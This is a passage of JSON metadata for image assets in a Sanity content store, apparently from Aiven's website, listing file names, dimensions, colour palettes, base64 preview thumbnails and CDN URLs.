ground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cabda9","foreground":"#000","population":0.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabda9","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93eaf9","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#808085","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d18a43","foreground":"#000","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/6a3345f0d107d05d3321ba84eaf51913fc54dc20-1932x1740.png","sha1hash":"6a3345f0d107d05d3321ba84eaf51913fc54dc20","size":475206,"uploadId":"aFotmoxJgXTMYaAYyk0ubN8Q7mZBUyFL","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a3345f0d107d05d3321ba84eaf51913fc54dc20-1932x1740.png"} {"_createdAt":"2024-09-19T21:23:04Z","_id":"image-41ccef76ba7464bb638c66f07599844fdd3ea904-1932x1740-png","_rev":"1OyjLnRDvuzO2Q4GjqYnvU","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T21:23:04Z","assetId":"41ccef76ba7464bb638c66f07599844fdd3ea904","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e4RfnMNMbf~q0104o$4:Mw%200xYkDS6bw01ad%1ocof00ouxsaKV[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.110344827586207,"height":1740,"width":1932},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAC1ElEQVQ4jT2SCXOqSBSF+f8/681LJj41GNdojBoQWZqm931xqmFmuk5R1afuxz33Qvbyds7X98OpOX2D0zf4/GqOX8350p4v4Hzpvm/g69Idk1knnZvztTueweYTbD777HV2+vV7/etl9fK2ni8P+frrPT/MF5v5cjtfbpf5fr7YvP79/jZbveeHZb5f5vvZYve2OOyOVbbIL7PF4XW2/ut1/Wd5XG8vH5tjvtqt1vv8Y5+vdu/5dr74WCw/trvTdn9arQ/LfLfanK4/Tfb51ZYVuj/Q9QdeS1TVpAO4hxgOBA4E9CgJDG0He4j70WkBBpAiorPzFQ7YcBEwsT3ShFljg/cxhCTvo/fp6r13LljnrfXaBKEiVzE73+BAjJARswCxo9zbBId0YkzPkQ5hsoL30bqodJTqmRV3SJhWOsh0j0oHra3RxlnnnLPGaE41Z0Zra5M1Jno6n5Q9Gsi4VNo4F2J8OheE1EIok4qtVUpTrBmxI+y9j2Mc71NxgjFhlDKldAhBWw8JGwZCKWOMSyGcVt6aaZI4Hue8MSlCdn8AkHY4IES0MVTZEqDy0T7q9tF0oIecC6V0ktY6BfTep7UluCjbrsegRwgRKTWS5gbIre7LBlYtbDrY90Pfox4mDYhMAccMz6yqumEghDAptXOeCl00w0/VNWAYMKNMUMoJYZgwkgYRxtgpfILrGmI8uS6GqJiqi/bnWtZNO5Uaa7U2ShutjU3bTl2nL5lgSvnU9hmiZXwoHlVxr5sWITwNnOBxbGvd1HTc9r+wkEJZ6xLMSV/eiuutLKuqqruup5QJIXlavDLGTj2n3Wd1AwnhlHKlTAzBSALul+J2u1f1o27bFgwIY0wxpowJrc0Y+zlmf2Z1MzAupUxvjTFYSVBbtE0DIUaYYcIpE4wJzqXWZvpJnv+d1FkqPbrhGYOXhIKi77oe4gFRwqSQWso09ljzP5jgfwBSj/ICEp4QiQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444449","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1654","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cabda9","foreground":"#000","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cabda9","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92eaf8","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6770a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cb8948","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"communityforum.png","path":"images/sczeoy4w/production/41ccef76ba7464bb638c66f07599844fdd3ea904-1932x1740.png","sha1hash":"41ccef76ba7464bb638c66f07599844fdd3ea904","size":248706,"uploadId":"MPYSukXr8O4uHHjyVW0T9hxtbpJOIrc5","url":"https://cdn.sanity.io/images/sczeoy4w/production/41ccef76ba7464bb638c66f07599844fdd3ea904-1932x1740.png"} {"_createdAt":"2024-12-04T09:48:44Z","_id":"image-944a148373d44f979fa8c225956f223a36f624a1-2666x1500-png","_rev":"Q24z0UHVNOApM4mVCzJEsl","_type":"sanity.imageAsset","_updatedAt":"2024-12-04T09:56:58Z","altText":null,"assetId":"944a148373d44f979fa8c225956f223a36f624a1","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37x,,7NiIu6Neu%IsSk?wbx0G^7PV-qj_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7773333333333334,"height":1500,"width":2666},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2ElEQVR4nGWP2VOaBxTFv6bW6LhAVFBTnGYkRusSNBgEREAW+VA2kfVjEUEEiSghJJrSOG1s1cpiX6J97uT//GXwpQ99OHPnzLnzu/cIunf/Yj77ymLpDpW/htyUom8lQs9yiF5dhD59lMFVCaV1l59ceRZ2TtBJ75nbLvPUkUW2lkZmzjBoStOtDSGog6fMxeu8CFZRWlL0aDw8nhfp1WzSo9mi75WXsbUIz+wJpjbSGGNlHHs1lgIHTFhi9Gv9dGs8/DC/yaNpO4LSmnm4LjdEH2CPZhx8P2OnZ0Gk96UbmdbL1EaKpUCe5WCB9WSFNamMMVxEH9hnYsVP97SN755bEdRmhKf2LMNrKXq0QbrmPXTNinT97OTxgvvhO7kuwKQjyWLgAHOignOvhjZYxBAusZ15h+jNMre8xZNpK12TJgSVPcezjTw/rmdQmiTGVqMoDCEUqxHGLXEmbAleuPdY2i5gSVXxFOusxo/RePfxxU54I1Uo+POItgjqBVuncg5NuIY+cYZe+oBBqqGLVXkdq7Ii1TDtnmLP1XHs1xEL5+y8vcSW+4XFQAlf+ISc/5CCr0g5USHgTiDI14topF+xFi5xlq4Rj/7C9eYax+EVztIV7uMbfNUWnkoD8ega88FnXsY/8txXQRd4i8tzhNuVx7NVwGxPIsg2KszH6+jzlxgPW1iO2riO2zjLbcylFqbDFsZiA0OhgTZ3hTp6znjgjOHNGqOb73m18wl7+BOvxWNUhg7Q85Gp8Cmz6Qum95rMZpsYCx1Ai7lsi8nkDarYJWORP1GGLhgO/s7Q9m/IfOcMes8ZD14wE7tGvfOZEfEDwkDoCkXkD0alGxSJv1FIt6hSbSbSt4wmbhmKtZFFmvSHG/SHbhgIN5BHmwxHGyhiDUZiTZRSm5F4G1m4gTCY+MKDknf/kyzZyTqz4//be5K6Q5G+YyxzjzJzjyLzD0O79wwkv/ANNfegulivJe8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30455b","foreground":"#fff","population":1.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08497b","foreground":"#fff","population":6.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8d5e3","foreground":"#000","population":7.13,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8d5e3","foreground":"#000","population":7.13,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#79aace","foreground":"#000","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#638199","foreground":"#fff","population":3.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c578f","foreground":"#fff","population":6.51,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"IDC_Aiven_Infobites_FR.png","path":"images/sczeoy4w/production/944a148373d44f979fa8c225956f223a36f624a1-2666x1500.png","sha1hash":"944a148373d44f979fa8c225956f223a36f624a1","size":8136159,"title":null,"uploadId":"GNu2dB3ltPwVUhXYUzUeQWTnCfMGcBLs","url":"https://cdn.sanity.io/images/sczeoy4w/production/944a148373d44f979fa8c225956f223a36f624a1-2666x1500.png"} {"_createdAt":"2024-10-04T14:15:55Z","_id":"image-376ff41637f5bbc4f786d4d7d554a3b507e636b0-1968x1140-png","_rev":"PyQmlbx4fuBwfv1MU7NRnU","_type":"sanity.imageAsset","_updatedAt":"2024-10-04T14:15:55Z","assetId":"376ff41637f5bbc4f786d4d7d554a3b507e636b0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBL;BS^+00?H.S9GtRYQkX}W00RP.SNarW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7263157894736842,"height":1140,"width":1968},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAADf0lEQVQokQXBf0xUdQAA8BeVSzMnW9QW062y0mLSH1mbWRvRj6uNZJpKaVeNTsEwWD/YiFpJYCFBmXP9sjLwErSiU8TBqIM8OPTguF/v7t3du/fj+77v94977927d8MB1+eDdHW7t+57/dhnjpfbR17c+fG5/W99eeBo10BpsVhEcu3Pli01V2xfObypZuXIZsdS25OPSN80rkYQBPn6xPl7G46caN1V13Gxdu/RP+sb+hp+H5ooQ4KhpGN8Ys4z7PGJnkszuHdq4Vg4gm/MSdStzMiZKnGw50frXOfkjeGesUXvQIcZm9m8XCyWxGL4Y96pBfew5z/+74s+MHU1fIqkuIcQTcvu0DT9pCwpfkXRxnTdaNF14x6SBmsWwnFnNBgKs7Hgci4TXSzw5ISliFWTUfxmwzC3KLLaCRn2MsfyHk3T20wzdz+CxjNloWDcEQpEWhcCUVcohFWiKL4KStLqAJDeDEIJpUWlqBvGsm3bPsuyXlA5chVFsevnA5FtvomrNT7v7EvBYKKSAtxa5Hjv4Iam5m9fe6epr/tQ41cfNbWcfPr0T551isSVUlyiHvBJVJTZomHoS7ZtT5uG4ZR48YngfGJHZ1f/3rdd3e/Xu443t3zwXdX5vybvQHwzkeqhP7yDp3+9TP/y25Xo6Ki/L4nieyAJdgp4vF3KoHGFY4qGYSwVbDugymovRcLv8TQY+OffufF+91im3z2eHLky25tM0ZsQnpeqKYr9OZHIzKVS1BRkuFOQgh0MAT5lUdAGw9yQBOTrpmH4C3lrQOaFz4k03Q8BfwEy/CUMy1zDMGKGgcIXmqY/iORyZrlt6s/lZN6Z16R9eSNbxQH2GYaEu2FGqQMpoxHSWqso6R+qmnlI4ORXKALWCqzgyGXVGl1kD+iy8Kpt5bZblrUeUSG8jclQ2ygs7WRSeK2UiG7AZn3lqTTzBgXNH3DKcIdQ/mwUk9wktM5CodADGbVajs3fySWxSjKe3E8k8N2QBPdZRrYEsWVhDQe45ymC+QSS4LCGhR9AvaMbsSR4j2DM8SRh+INRfjocl6YJkPczfOECQyu71ID3LgFPP0XhdBuJg3c5wFUUF3MlyA1VuEUTxHIR8o/KkN2SJ9B1+DXf2gzBP05B00kA82CK0FxpMuuioHUQcFYdTSsVcuT67VmavFsA7FaeYR9Web50xdJu+h8d/XYBbclfTAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33375b","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef5510","foreground":"#fff","population":0.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5b9d0","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef9f86","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b6e93","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef5510","foreground":"#fff","population":0.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Updated pgvector without BG final.png","path":"images/sczeoy4w/production/376ff41637f5bbc4f786d4d7d554a3b507e636b0-1968x1140.png","sha1hash":"376ff41637f5bbc4f786d4d7d554a3b507e636b0","size":128646,"uploadId":"vhF65L1YV8dlj5utVpOBZ5TjvMGqJrwQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/376ff41637f5bbc4f786d4d7d554a3b507e636b0-1968x1140.png"} {"_createdAt":"2024-06-14T08:06:38Z","_id":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_rev":"Gc7Qq2PHZBylrD6rwN9vbb","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:12:24Z","altText":"Aiven for Valkey","assetId":"f997cab5874d12c680040053b0a516337323f549","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDHLx@om00t700s}oyakRlR-00R#MuoZ~lRnWCogj?bE00t3-$R*%J","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c2434","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b3781","foreground":"#fff","population":1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4354c1","foreground":"#fff","population":7.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c85b3","foreground":"#fff","population":1.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97a9de","foreground":"#000","population":1.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#565fae","foreground":"#fff","population":2.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4354c1","foreground":"#fff","population":7.64,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-valkey.svg","path":"images/sczeoy4w/production/f997cab5874d12c680040053b0a516337323f549-48x48.svg","sha1hash":"f997cab5874d12c680040053b0a516337323f549","size":1535,"title":null,"uploadId":"N6RjkuyUaf79K0SsO2lo3p0hVmFFZTC4","url":"https://cdn.sanity.io/images/sczeoy4w/production/f997cab5874d12c680040053b0a516337323f549-48x48.svg"} {"_createdAt":"2024-09-23T13:07:36Z","_id":"image-f12f4fe8e16e179a304104b9f2eb387b200c78c4-962x1212-png","_rev":"qobFP6o3d5Cfo6v5i0wUzn","_type":"sanity.imageAsset","_updatedAt":"2024-09-23T13:07:36Z","assetId":"f12f4fe8e16e179a304104b9f2eb387b200c78c4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dMGu5xH=5l-=}t$iI;SN00-B$NR*#Rv}nio#],~WI;9Z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7937293729372937,"height":1212,"width":962},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34365d","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#530a06","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f65009","foreground":"#fff","population":1.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8afca","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb474","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07661","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65009","foreground":"#fff","population":1.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI multi-cloud.png","path":"images/sczeoy4w/production/f12f4fe8e16e179a304104b9f2eb387b200c78c4-962x1212.png","sha1hash":"f12f4fe8e16e179a304104b9f2eb387b200c78c4","size":68755,"uploadId":"GMS0cDFJ0ozkryDJvh4btD7bZlf0nGMy","url":"https://cdn.sanity.io/images/sczeoy4w/production/f12f4fe8e16e179a304104b9f2eb387b200c78c4-962x1212.png"} {"_createdAt":"2024-10-23T06:58:39Z","_id":"image-680b96d7b3ef50def356466ac191ff27259be76d-34x51-svg","_rev":"dRenvgbRIku6htF3JKQ0M2","_type":"sanity.imageAsset","_updatedAt":"2024-10-23T06:58:39Z","assetId":"680b96d7b3ef50def356466ac191ff27259be76d","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"d|N#qwoKoKoK}Cjto1jtAYa|WWjtsnjtWWjt$Ojta|fQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":51,"width":34},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAACXBIWXMAAAsTAAALEwEAmpwYAAADMElEQVR4nLWUW4hXVRSHvxwLCSqhKAy6gARKQUKh5UOShFrOePY6MRVmUg+l2UipmOM9UQrEy4NaDyL4EEVhgpUUXirBHoIoyocepOzCKHnXFJR0/2LtWaPhX2X6awd+nMM+a3/rstfa5DZqVSyRsT4n3m1GMtYpMVNPMBwlNiuxKxu/q+aPpmT8JmOnEssceCIbZ1SjK1E2DimxkysFqUfG0Wx8fzlglvGXjF/c0CXj51g7+9+AVjYclLFNFcuVmB1apsQWGfsboHZ5oEexVRVziox3XDkxV4lOGZ/LONYbYFbNcT+xnFgQgC9Us9eVjS9VMV8182TsKFCLSC8KNI4qsV3GfBlTldiYjcPnTrLmiBKbyj+PPLElG0cuCvTWKYVPLCzGNZuy0aWav2WckLEvNnXJ+KRE79Ea38qKTUOEJ4v3RIcSG0o0no4rsVuJ98shGQdKVImNaqNDxkdR8wuAHoUbGa/I+DiKfrBMQmJHNmYVZ/4vsVeJTwP4oazUvQHoYX8jK7VZE+l/psRaGctlvKDEUNW8VGCJ1d5K2fhaxulLHcoBGZtlfFDgiQ2l94xFqhivsdwvY2JZN95zcK75M4agEVgOxmvX3SKHYvB/8r7LFa85rNwwxp5c0+UdkHvugV6M3vmpcain7m3UDWq8TKy3wO50jmXjV4/6kjeTnQfmq3XbyPiOMug1p64CcL9PDtEWX8n4UTW7mlE2fvDpUcXrqGKIEq2lHSqeb0qJCRrHY0oMRO20qJXr1c5NqujfjPIYbtQI+gn68H88LcB1oT6hvvG+Jr5b/mXXN9aJ97Whc9HdAQwFHgYGA3cC9wC3AbfEt68NCpsHgduBG4C7Yq/rbqCfA0cDncBC4FWgFXgaSMBYYCLwJPAyMBOYDjwFPAQ8B8wAOgALR2XzW8CbwOIA+c83gEXAJOBFYFo4cPt54aATqIHhwAhgQA9waUAdMgp4AJgTThzyDDAZuBd4JBzNCg0Dbo2S3OxAT2cJsCA8egm8bp6WRzcEeDTK0R5perQTIv3xwONAW9SUClgFrI86em089JGRvhsNBKYAb0c2vn4f8CywElgR4AH/AGhfwdQZUNmNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544634","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1306","foreground":"#fff","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4f04","foreground":"#fff","population":24.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#892d0f","foreground":"#fff","population":0,"